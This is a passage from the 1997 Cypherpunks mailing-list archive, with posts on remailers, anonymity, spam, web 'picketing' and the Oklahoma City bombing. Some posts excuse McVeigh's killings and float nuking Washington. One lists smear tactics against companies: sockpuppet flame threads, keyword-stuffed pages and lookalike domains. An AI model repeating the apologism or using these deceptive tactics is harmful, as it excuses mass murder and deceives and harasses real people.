comfortable posting publically, given >their present employment with these companies. This is a natural >development. Go back and read the rhetoric in 1992-5 about controversial >issues....many of the essayists of even the most controversial pieces then >are now at companies and are understandably less vocal. So?) I find this hard to believe. I guess it takes all kinds to make a world. In the current employment market for people with crypto skills, few are going to get fired for their political views and no one of these types would find it hard to get another job if fired. Even those without crypto skills (myself for example) would find it trivial to find work. I make no secret of my political views when talking to people I work with. Most of them are quite conventional people including government employees. Maybe my personal manner is less threatening. If my boss told me to tone down my views (something that's never happened), I'd argue with him. After short arguments, people usually leave me alone. My mouth intimidates them. (My mouth not my breath.) DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5TomYVO4r4sgSPhAQGD/wP+LJUODrQgXRvurlbZihpPUHKH9W2w6RjV usr8anT2KKM4b6d9Sq6p4Pqmy3P9ypzYadJJqxbNZF8PI9pdJ8C1PP7QhZ1SHDtm xHHgal29UiBpAELZoZwxFuwbvySfqdFlIG4NpVEBFm7yysjzYIrJG2/J3EVXFPyG 8sBf44GV8u4= =UFzs -----END PGP SIGNATURE----- From frissell at panix.com Tue Jun 3 21:14:36 1997 From: frissell at panix.com (frissell at panix.com) Date: Wed, 4 Jun 1997 12:14:36 +0800 Subject: McVeigh In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu> Message-ID: <3.0.2.32.19970603232509.03ccfe9c@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:56 PM 6/3/97 -0400, Hallam-Baker wrote: >It is surprising to find that you are so willing to be an open appologist >for McVeigh's crime but in answer to your point: No children are going to >grow up in a better world because of McVeigh or any of his followers, >many will not grow up at all because he murdered them. > Give us a break. Governments murdered 170megs of people this century. Tim was a piker. The Federales murdered over 300 at Wounded Knee alone. Sure Tim was not too bright and had some unfortunate ideas but he didn't do anything that the U.S. government didn't do all the time. DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5TgFIVO4r4sgSPhAQEQaQP/ViBFOeYYPosJ5h1C3GszUcwz/CHwGLWC ce2AcalxAtvPBsX0LEouQMVibxHl33wEhCdyQCySNCIswqna7bLgFbumN54WH1XN o4XEFcSE8kJBX/G7XQUVCIfh+kheaOd+Oiknlpe7L9MdcQ0vNPzPldMvNmdM76rT dGdlh4AHw5U= =3dSU -----END PGP SIGNATURE----- From frissell at panix.com Tue Jun 3 21:18:48 1997 From: frissell at panix.com (frissell at panix.com) Date: Wed, 4 Jun 1997 12:18:48 +0800 Subject: McVeigh In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu> Message-ID: <3.0.2.32.19970603234401.03ccf980@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:56 PM 6/3/97 -0400, Hallam-Baker wrote: >It is surprising to find that you are so willing to be an open appologist >for McVeigh's crime but in answer to your point: No children are going to >grow up in a better world because of McVeigh or any of his followers, >many will not grow up at all because he murdered them. Circa 1974, I was sitting in my law school lounge watching "The Charge of the Light Brigade" starring Errol Flynn on TV. There was a group of other students there. Then came the line from the film: "Men, we're going to show these Turks that you can't murder innocent women and children and live to boast about it (a British garrison had been attacked, which led to the Charge). I immediately piped up, "That's funny, George McGovern did!" McGovern, George -- Bomber pilot in WWII, "peace" candidate for President of the United States in 1972. Lots of baby killers out there in the strangest places. As to the Children of OKC, people who turn the care of their children over to government employees or contractors do not place too high a value on those children. DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5TkgIVO4r4sgSPhAQHyvgP6AgE7S5qzos7kJa4E61MNP8KEhH4PD7jC IW0aNPVVclLEx1638uhSzICzzoEM0w/6debi2FBjDcSN3mtu7JLVhaC5pHvJiDei r6rBJqeMdSZ8YVj3v0+wzD5ZJf4g40k9rvSoUBtGtCzlEFio4HR3R4L9OQ9JiG34 EdhtSiYxNWQ= =ARIV -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Tue Jun 3 21:35:10 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 4 Jun 1997 12:35:10 +0800 Subject: Ranting Anarchists Re: Who "invented" remailers? In-Reply-To: <199706032129.RAA10938@muesli.ai.mit.edu> Message-ID: <3.0.1.32.19970603212944.00744870@popd.ix.netcom.com> At 04:50 PM 6/3/97 -0700, Tim May wrote: >And so this was very probably what Duncan meant when he said some of the >ranting faction were the inventors of remailers. > >(Both Eric and Hugh are known to rant, or at least have done so at various >times. Eric had some memorable rants at the 1995 CFP when he loudly >declared to the National Research Council fact-finding committee, "I am a >crypto anarchist.") ... >I'm satisfied with my contributions, even if you think the ranters are >doing nothing to help the causes you apparently support. For an almost totally off-topic followup, there was a religious sect in England in the mid-1600s called the "Ranters"; one of the books by Quaker writer Robert Barclay is called "Anarchy of the Ranters" (he was against them ...) Here on Cypherpunks, we've got the "Ranting of the Anarchists" :-) Another writer on the Net, who's more pro-Ranter, says that > No evidence suggests that any Ranter ever took an interest in Islam. > However, there exists some reason to believe in connections between > Ranterism and piracy. A "Ranter's Bay" in Madagascar sheltered a > pirate utopia later in the 17th century, and a number of Ranters were > exiled to the Caribbean during the "Golden Age of Piracy" there. Nothing new under the Sun... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From tcmay at got.net Tue Jun 3 21:46:54 1997 From: tcmay at got.net (Tim May) Date: Wed, 4 Jun 1997 12:46:54 +0800 Subject: Who "invented" remailers? In-Reply-To: Message-ID: At 8:44 PM -0700 6/3/97, Hallam-Baker wrote: >The point I was making was rather different, I think the total volume >of PGP mail of all types is probably not a large enough fraction of the >trafic on the net to be secure. Taking any use of PGP as prima facie ^^^^^^^^^^ >evidence of subversive activity probably provides a reasonable cut. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If you mean as prosecutable offense, I don't think you fully understand the laws of the United States. Much as we like to criticize the U.S., and bad laws, and whatnot, there is no such thing as "prima facie evidence of subversive activity," at least not since the House Unamerican Activities Committee and Joe McCarthy. If you mean that intelligence agencies are compiling data bases, perhaps this is so. All the more reason to push for vastly more remailers, PipeNet, etc. >How many people in total do you have using the mixers? How many mixers >are there? Raph Levien posts his report regularly to the list, plus he has a Web site. The remailer operator's list discusses issues, too. As for how many people "I have" using remailers, just 7, and one of those is about to be let go. Your other points assume certain political conditions which probably no cryptographic system can deal with. Our goal is to prevent such political conditions from happening in the U.S. Europe, despite its "privacy commissioners," may already be a lost cause. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From hallam at ai.mit.edu Tue Jun 3 22:02:19 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Wed, 4 Jun 1997 13:02:19 +0800 Subject: Who "invented" remailers? In-Reply-To: Message-ID: <199706040457.AAA12535@muesli.ai.mit.edu> > >The point I was making was rather different, I think the total volume > >of PGP mail of all types is probably not a large enough fraction of the > >trafic on the net to be secure. Taking any use of PGP as prima facie > > ^^^^^^^^^^ > >evidence of subversive activity probably provides a reasonable cut. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > If you mean as prosecutable offense, I don't think you fully understand the > laws of the United States. Much as we like to criticize the U.S., and bad > laws, and whatnot, there is no such thing as "prima facie evidence of > subversive activity," at least not since the House Unamerican Activities > Committee and Joe McCarthy. I really can't get excited about US domestic policy. That is not where the crypto is needed. Eve so if you hypothesise the extent of surveillance such that mixmaster remaillers are needed the constitution was thrown out long ago. Now this happened under Hoover and the FBI still have their headquarters named after him. I'm having great difficulty making sense of the finely calibrated level of paranoia which makes mixmaster both effective and necessary. On the other hand it strikes me that if we could work out a better version of Julf's pi.net remailer there would be a considerable benefit to the net. Phill From ravage at EINSTEIN.ssz.com Tue Jun 3 22:20:31 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 4 Jun 1997 13:20:31 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706040442.XAA00428@einstein.ssz.com> Hi, Forwarded message: > Date: Tue, 3 Jun 1997 23:57:47 -0400 (EDT) > From: Declan McCullagh > Subject: Re: Webpage picketing > Pickets arise from a peculiar set of circumstances that arise in > meatspace, including public streets. Sure, you can picket The Gap at the > store up the block from my office on Connecticut Avenue. But try to wave > those signs outside The Gap in the Pentagon City mall not far away, and > you'll be chased off by the security guards. It's a private space; > different rules apply. Pickets arise from people getting pissed off about some aspect of their economic life and using their right to free speech to express it. Absolutely, but I can most definitely picket the mall and the store at that point with complete impunity from the sidewalk. And please correct me if my geometry/geography is wrong, but in order to get into the private parking spot at the private mall you do have to drive off the public street ACROSS the public sidewalk where all those picketers are standing. After all, if the mall won't let me express my opinions then I have an economic right as a consumer to express my displeasure and try to warn other consumers of the danger. It is irrelevant to my goal as a economic consumer whether I picket the store inside the mall or outside. What IS important is that I have legal access to ALL the customers using that business(es). > And I think that we should be very careful about calling the Net a public > forum. Sure, places like Usenet resemble a public forum in some ways, but > it's not the same. But I am not calling the net a public forum. I am specificaly talking about a special case that might arise if we are not aware of the consequences. In short it is a statement that it MIGHT be possible to use publicly funded network backbones to seriously impede communication using the system against itself. > I think Greg has it right: you want to forcibly intervene in a > communication between two consenting parties. What you want is similar to > the right to come into my home and prevent me from speaking freely to my > friend or lover. Not at all, unless you are implying the same expectation of privacy on a public street (or backbone) that you would get in your home (or intranet). I am stating the status quo, the level of expectant privacy on a public street (internet) is in no way nearly as comprehensive as in your home (intranet). Should you doubt this, walk around your living room with the blinds drawn butt-naked and then try that again in the middle of downtown at 5pm. If you want to go to store A and it is covered in picketers, you WILL hear and see them even if you don't want to. Their right to speech is such that if you want to use that business you must submit to an exposure of their views however brief. My thesis is that it may be possible to extend this legaly supportable model to a backbone which derives some or all of its income from public funds. This could be a BAD thing, is it and why?. If it is acceptable use of publicly funded resources in meatspace why should publicy funded resources in bitspace be exempted? No more, no less. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From frantz at netcom.com Tue Jun 3 22:29:31 1997 From: frantz at netcom.com (Bill Frantz) Date: Wed, 4 Jun 1997 13:29:31 +0800 Subject: [OFF-TOPIC] Naming systems... In-Reply-To: <199706032014.NAA06953@rigel.cyberpass.net> Message-ID: At 9:32 AM -0700 6/3/97, Peter Trei wrote: >With the old Norse system, still used in Iceland, there is a tremendous >namespace-collision problem. There is also a namespace collapse problem in China. They have a patrilineal family naming convention much like the one that is common in the USA. However the naming system has been stable for thousands of years. In that time, some names have died out (only girl babies). They somewhat avoid the associated namespace collision problem by being imaginative with given names. To avoid namespace collapse, you need to continually introduce new names. If Iceland didn't limit given names, the problem would go away. For example: I know a Catnip Echoridge Fredrick. I bet Catnipsson would expand the namespace. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From frantz at netcom.com Tue Jun 3 22:34:02 1997 From: frantz at netcom.com (Bill Frantz) Date: Wed, 4 Jun 1997 13:34:02 +0800 Subject: McVeigh In-Reply-To: <3393682D.167E@ai.mit.edu> Message-ID: At 4:50 PM -0700 6/3/97, Kent Crispin wrote: >Contrast ["milita violence"] with the brilliance of the anarchist >Eward Abbey in "The Monkey Wrench Gang", where the anti-government >acts were calculated to call forth popular support. This is an important point. When you kill people, you make implacable enemies. Consider the SF Bay area rescue team that is still trying to learn how to live with the memory of the mangled bodies they found Oklahoma City. They hate the person(s) responsible for the bombing and they did not even have relatives killed there. If you at least avoid killing people, then you have fewer bitter enemies and a better chance of holding on to your winnings. The examples of Gandhi, King, and Mandala come to mind. Contrast their success with the results of the violence approach as exemplified by the generations old wars in Ireland and Israel. For cypherpunks this comes down to: Make code, not bombs. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From shamrock at netcom.com Tue Jun 3 22:46:20 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 4 Jun 1997 13:46:20 +0800 Subject: McVeigh In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com> Message-ID: <3.0.2.32.19970603222933.03a82d40@netcom13.netcom.com> At 05:29 PM 6/3/97 -0400, Hallam-Baker wrote: >Actually remailers were invented by a lass called Stephi whose hobbies >appeared to include being tied up for fun. AFIK, remailers were invented by David Chaum. --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From ravage at EINSTEIN.ssz.com Tue Jun 3 22:54:51 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 4 Jun 1997 13:54:51 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706040518.AAA00570@einstein.ssz.com> Dude, Forwarded message: > Date: Tue, 03 Jun 1997 19:46:55 -0700 > From: Greg Broiles > Subject: Re: Webpage picketing > Why is this useful? I think it sounds like an awful idea. I suspect the visitors to abortion clinics would agree with you. I doubt the right-to-lifers or the judge would. Pleasure and good ideas are not necessarily one-to-one. > Who's going to keep track of all of this stuff? Are ISP's and backbone > providers supposed to give other people free hard disk space/connectivity > to do this? Or do you want the government to do it? What about blocking > software, which erases the picketing notices? Will that be allowed? One could argue that just as we must pave public sidewalks and roads as well as provide publicly accessible sewer pipes we might be required to provide webspace on the endpoint routers of the public sections of the backbone, and then we ALL get to pay for our daily aggravation ("push the button to torture the subject", subject pushes button and spasms in electric agony). Perhaps that is the real reason it would bite. > Conventional picketing works where private space is adjacent to public > space, such that people in the public space can limit access to the private > space, or do things in the public space which are visible to peole in the > private space. Adjacency isn't really meaningful in "cyberspace", because > it depends on arbitrary and changeable "locations" .. and there's very > little "public space" in cyberspace, at least in the way that there's > public space (like streets and roads and parks) in meatspace. Hmmm, I have NEVER seen einstein go anywhere nor the cables it is connected to. I can certainly say that I doubt the hundreds of machines in my work lab cavort around the shop when I am gone. No, I don't accept your premise that the connections in the Internet are that mobile. Lack of public space may be the saving grace, unfortunately there is quite a bit of involvment planned by Uncle Sam if I am not mistaken...Internet II... V-II Chip... GAK... ITAR... That supercomputer science network thingy... Get the picture? > Do you think we should adopt "bookspace picketing", whereby public > libraries are obligated to include hostile rants with books in their > collections, or even notations that "The Authoritarian League believes this > book is harmful, read _Why I Need Someone to Run My Life_ by Joe Schmo to > learn more"? Perhaps we should implement a program of "wordspace > picketing", whereby we're obligated to, before we orally discuss our own > opinions in a public place, mention the counterarguments made by critics. You can certainly stand in front of that store on the public street and offer to give said material away (remember to pick those up people throw down). And there ain't a damn thing you can do to make them leave. I would hope you would explain and address the counter-arguments of your critics. Otherwise your discussions might be a little one sides and hopefuly quite short. I personaly hate monotonic lunatic raves (unless there is a kick-ass band and pretty women). _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From declan at pathfinder.com Wed Jun 4 14:43:54 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 4 Jun 1997 14:43:54 -0700 (PDT) Subject: Anonymity should be banned for speakers and vendors Message-ID: [Ray, a recent DC law school grad and anti-spam activist, is a good guy but is IMHO sadly mistaken here. Thought this might be interesting. --Declan] ---------- Forwarded message ---------- X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/ X-FC-URL: To join send "subscribe" to fight-censorship-request at vorlon.mit.edu Date: Wed, 4 Jun 97 17:25:36 -0400 From: Ray Everett-Church Sender: owner-fight-censorship at vorlon.mit.edu To: sameer , tbetz at pobox.com Cc: fight-censorship at vorlon.mit.edu Subject: Re: Spam costs and questions On 6/4/97 4:52 PM, sameer (sameer at c2.net) wrote: >> If Wallace were up against criminal and civil penalties if he continued to >> hide his customers' real identities, he'd give them up in a hot second. Of >> course, as soon as there was a chance of that happening, he'd get out of the >> business entirely. > > So how do criminal and civial penalties for not revealing a >customer's name protect anonymity on the internet? > Anonymity on the internet must be preserved. If you could come >up with a way to make spam illegal and preserve anonymity, I would be >very glad. Until then, I will have to oppose making spam illegal. As stated before, I have heard no convincing argument that it is in the consumers best interest to have an anonymous *vendor*. Sure it's vital that *consumers* be allowed to remain anonymous, but if you're selling a product or service, there's no legitimate reason why a business needs to remain anonymous given issues of warranties, product liability, sales taxes, etc. And in the case above, since the remailer in question is simply acting as an agent for the business, there's no question of legitimate anonymity implicated. Indeed, perpetuating anonymity for the business often times facilitates activites that constitute a breach of contract and sometimes even fraud. The whole reason to use a pro-spam anon remailer is so that you can violate your ISP usage agreement without being traceable or accountable. And if you've entered into that contractual relationship with the ISP with the *intent* to breach that contract, it's fraud. Anonymity for consumers, Yes! Anonymity for vendors, NO! -Ray ------------------------------------------------------------------------- Ray Everett-Church, Esq. www.everett.org/~everett This mail isn't legal advice. Opinion(RE-C) != Opinion(clients(RE-C)) (C)1997 Ray Everett-Church ** Help outlaw "spam"=> http://www.cauce.org ------------------------------------------------------------------------- From blancw at cnw.com Wed Jun 4 00:13:04 1997 From: blancw at cnw.com (Blanc) Date: Wed, 4 Jun 1997 15:13:04 +0800 Subject: Guilty! Message-ID: <3.0.32.19970603235514.007261e0@cnw.com> TruthMonger sobered up and wrote: > The bottom line is that no matter what our position in life, no matter >what our beliefs, opinions and actions, there are a few billion other >entities sharing our world who are organized into camps which support or >oppose us today and may do the opposite tomorrow. .................................................................... In the end you have to be prepared to defend yourself from anyone; as anyone can become an enemy. The only true support is an active intelligence. .. Blanc From aba at dcs.ex.ac.uk Wed Jun 4 00:41:16 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Wed, 4 Jun 1997 15:41:16 +0800 Subject: McVeigh In-Reply-To: <199706032129.RAA10938@muesli.ai.mit.edu> Message-ID: <199706032349.AAA00708@server.test.net> Hallam-Baker writes: > > >There is absolutely nothing that the anti-government ranters contribute > > >to the pro-cryptography movement... > > > > Nothing except motivation. Anti-government ranters founded this list, > > invented remailers, and did a lot of other good work. > > [first remailer ...] > > I'll accept that the ranting faction do some good work but I've > not seen anything usefull out of either Bell or Vulis unless that > is you are an FBI agent looking to get a promotion from Freeh. Dimitri rights code sometimes. He wrote a cancel-bot. Very constructive piece of work in an indirect way. See: having nice freely available cancel-bots enables technically clueless, would be-censors to censor more. They censor more, and cause a nuisance for themselves sending out tons of cancel messages. This incentivizes more and more people to ignore cancels (the trend in news administration these days I understand is to ignore cancels entirely), which means that you can't have your USENET posts censored nearly as easily. Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <3.0.1.32.19970603224831.00745fc4@popd.ix.netcom.com> -----BEGIN PGP SIGNED MESSAGE----- >>> > Your hackers resource page contains a link to my GURU'S LAIR WEB site >>> > at http://www.tinaja.com >>> > Please remove this link. >>> > Please do so immediately. >>> >>> Short answer, no. >>> If you don't want links to it don't put it on the net. Of course, if you're a Guru, you can tell people how to block links from sites you don't like, or respond to requests on those links with an alternate page... "Become One with the Universal Resource, Link!" -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQBVAwUBM5UBr/thU5e7emAFAQFjIgH/fTCv0PzlFe06Em8cr17K1pDm6PXMxCRk aoI1MGRrA5xxn1Nwmmotiv4xpI2Twkt66OWNM5N6w0WWl46/wzIJqA== =lazp -----END PGP SIGNATURE----- # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Wed Jun 4 00:42:26 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 4 Jun 1997 15:42:26 +0800 Subject: Webpage picketing In-Reply-To: <3.0.2.32.19970603194655.008a12f0@mail.io.com> Message-ID: <3.0.1.32.19970604002716.007458f8@popd.ix.netcom.com> -----BEGIN PGP SIGNED MESSAGE----- Web page picketing is easy - there are a bunch of ways to do it, with varying degrees of coverage. Here are some examples: 0) Hijack DNS or routers - sorry, no points for this. 1) Convince people to use your system for web access - easy if you're AOL or Prodigy, trying to provide a family-oriented service, or 's firewall; you can replace URLs at playboy.com with the "You can't access that site from here" page. 2) Convince people to use your software - Censorware Inc can do the same kind of thing, as well as tell their mom. 3) Create a serious picket sign FAQ web page and put it out there for people to find. And post your FAQ to Usenet occasionally. 4) Create a picket sign web page that's more attractive to AltaVista as your target's page. That won't stop references to www.yourtarget.com, but it will jump out at news reporters and casual browsers looking for what yourtarget.com has on the web. You can do the usual comment lines or small print at the bottom of the page Boycott Yourtarget.com , makers of Evil_Product lots of stuff about them and why they're Bad yourtarget.com is politically incorrect. yourtarget.com censored your mama and burned the flag. yourtarget.com yourtarget.com yourtarget.com yourtarget.com theirproduct theirotherproduct their_type_of_business keywords keywords more_stuff_from_their_pages 5) Keep flaming them on Usenet, especially using lots of different pseudonyms discussing it with each other, to fill up DejaNews. Alice:"Did you hear that yourtarget.com exploits its workers?" Bob: "No, really, are those mothercensors doing that too?" You know the 666 in their logo is because the Illuminati own them?" Alice: "That's just a 'Help, I'm being held hostage' note snuck in by Vl.... D.tw..l.., who used to work for them. But they really do make their product from baby seal hides." Obviously you need good sub-flame picketing so people don't killfile you like they did with S..... Ar..., the Turkish flamebot. 6) Getting a newsgroup created just for criticizing them gets extra points. 7) Set up a Boycott Information Center web page or a Badder Business Bureau and make it easy for people to post the Bad Things done by lots of Bad People. In addition to your targets, you could prime it with other popular Bad People, or just advertise it well, and make it easy to use, serious-looking, and attractive to people of the political/economic persuasion you want to reach as well as to the press. Declan McCullagh wrote: > Now, perhaps a market will develop for virtual pickets. > Businesses may flock to "online storefronts" that have certain rules > including the right to create "Heineken out of Burma!" pages that appear 8) Set up a Web Page Parodies Home Page, and make it easy for people to post parodies of other web pages; add a zinging parody of your target. Usenet being a moving parody of itself, it's a good place to create a newsgroup that you can also use to parody the target. 9) Usenet signature lines are cheap and easy - use them, and point to your picket web pages from them. If you can get people to copy yours, even better. You can think of more..... -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQBVAwUBM5UY0/thU5e7emAFAQF5ZwH9FyIvhDihfBHU4IAxN3ItHE/QmUKFac+k Gw4xP9AVzLCz99/GvHGkO123P1kmz3svlQRE/pClwx5EYDqAaq2kEQ== =+KC+ -----END PGP SIGNATURE----- # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Wed Jun 4 00:42:56 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 4 Jun 1997 15:42:56 +0800 Subject: SPAMs across the border - regulatory arbitrage strikes again Message-ID: <3.0.1.32.19970603234726.0068a77c@popd.ix.netcom.com> I got my first Canadian spam today - as US Congresscritters are planning to pave a few more blocks of the Information Superhighway with "good intentions", spammers are moving offshore (well, if Bedford NS is offshore, anyway...) outside their grasp. Of course, the SPAMMER's ISP is Spamford, but he could move to the Great White North as well. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Wed Jun 4 00:45:01 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 4 Jun 1997 15:45:01 +0800 Subject: Webpage picketing Message-ID: <3.0.1.32.19970604003227.0077da20@popd.ix.netcom.com> >Web page picketing is easy - there are a bunch of ways to do it, >with varying degrees of coverage. Here are some examples: >0) Hijack DNS or routers - sorry, no points for this. Foo. I forgot to add an obvious variant 0a) Creating a similar or parody domain name like micros0ft.com or microsquish.com sometimes gets you points, if done well. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From shamrock at netcom.com Wed Jun 4 01:15:26 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 4 Jun 1997 16:15:26 +0800 Subject: Who "invented" remailers? In-Reply-To: <199706040027.UAA11558@muesli.ai.mit.edu> Message-ID: <3.0.2.32.19970604010625.03a9313c@netcom13.netcom.com> At 06:27 PM 6/3/97 -0700, Tim May wrote: >(There are important issues, discussed by several of us several years ago, >and more recently by Wei Dai and Lucky Green, dealing with correlation >analysis of messages sent and messages received...esentially pattern >analysis. This type of analysis is unlikely to provide useful results for high-latency systems such as remailers. However, this analysis can be very fruitful on near real time systems such as ill-designed chained http anonymizers. [Tim of course knows this, I just want to make sure that this is universally understood.] --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From shamrock at netcom.com Wed Jun 4 01:17:56 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 4 Jun 1997 16:17:56 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <3.0.2.32.19970531153135.0076a2e4@netcom13.netcom.com> Message-ID: <3.0.2.32.19970604003346.03a8f3a4@netcom13.netcom.com> At 12:52 AM 6/4/97 GMT+0200, Ulf M�ller wrote: >This is a gross exaggeration. "Pattern investigation" can be used to >investigate certain severe crimes that cannot be solved otherwise. It >must be warranted by a judge, naming the patterns that the respective >committer is believed to match. There have been three "pattern >investigations" ever, since the law was passed in 1991 (none of them >successful). The German authorities conducted pattern investigations long before 1991. The early 80's kidnapping of the industrialist comes to mind. [The kidnapping that ultimately caused the suspected co-conspirators to be sucided in their solitary confinement maximum security cells. Cells that were under 24h audio surveilance. Unfortunatly, the tapes for that fateful night mysteriously disappeared...] But note the requirement you mention: "severe crimes...warranted by a judge". Where have we heard this one before? Right. The four horsemen of the infocalypse. --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From shamrock at netcom.com Wed Jun 4 01:19:45 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 4 Jun 1997 16:19:45 +0800 Subject: May's Banal Rant In-Reply-To: <3.0.2.32.19970602110450.0077d010@netcom13.netcom.com> Message-ID: <3.0.2.32.19970604004836.03a8c4c0@netcom13.netcom.com> At 07:17 PM 6/3/97 +0000, Paul Bradley wrote: >This is not so certain, crypto-anarchy would of course be achieved if >anarchy in general were achieved, this could occur if strong action were >taken such as nuking DC. I sincerely doubt that nuking DC would lead to anarchy. A draconian police state with travel permits and bomb sniffers in every bus perhaps, but anarchy? Very unlikely. --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From jeremey at bluemoney.com Wed Jun 4 01:46:44 1997 From: jeremey at bluemoney.com (Jeremey Barrett) Date: Wed, 4 Jun 1997 16:46:44 +0800 Subject: Profanity, PCS phones, and FCC Message-ID: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com> Well I went and got a PCS phone (Ericsson), and was pilfering through the manual, and came across this amusing text in the "Operating procedures" section of the "Guidelines for Safe and Efficient Use": Portable PCS telephones are subject to the rules and regulations of the Federal Communications Commission (FCC). Following these rules will help eliminate confusion, ensure the most efficient use of the existing frequencies, and result in a functioning radio network. The following offenses are punishable by fine, imprisonment, or both: o Use of profane, indecent, or obscene language while using your phone. [a bunch more snipped but somewhat more sane regulations] Joy. More laws to break. Jeremey. -- Jeremey Barrett BlueMoney Software Corp. Crypto, Ecash, Commerce Systems http://www.bluemoney.com/ PGP key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 From declan at pathfinder.com Wed Jun 4 07:03:02 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 4 Jun 1997 22:03:02 +0800 Subject: Webpage picketing (fwd) In-Reply-To: <199706040442.XAA00428@einstein.ssz.com> Message-ID: I'm in NYC now and have to leave for work in a moment, so I'll keep my response to Jim brief. > In short it is a statement that it MIGHT be possible to use publicly > funded network backbones to seriously impede communication using the > system against itself. Jim's fundamental misunderstanding below seems to be, as far as I can tell, confusing public funding with public forums. Just because an entity receives most, or all, of its funding from the state does not mean that that entity or the service that entity provides becomes a public forum for the purposes of First Amendment analysis. After all, many research universities receive half their revenues from Federal grants but they do not become public fora. I suppose part of the analysis in this case might turn on whether the state is setting up such networks itself and "owning" them or whether it's providing grants to a private entity. > I am stating the status quo, the level of expectant privacy on a public > street (internet) is in no way nearly as comprehensive as in your home > (intranet). Should you doubt this, walk around your living room with the Again, the Internet is not a public street. It is not owned by the public. It is not a public forum, which is a term with a special legal meaning. It is a privately-owned collection of networks. (Part of the problem here is that we use "private" to mean both individually-owned and "expectation of confidentiality or security.") But I agree with Jim on the broader point, that we should question state funding of network infrastructue. -Declan On Tue, 3 Jun 1997, Jim Choate wrote: > Hi, > > Forwarded message: > > > Date: Tue, 3 Jun 1997 23:57:47 -0400 (EDT) > > From: Declan McCullagh > > 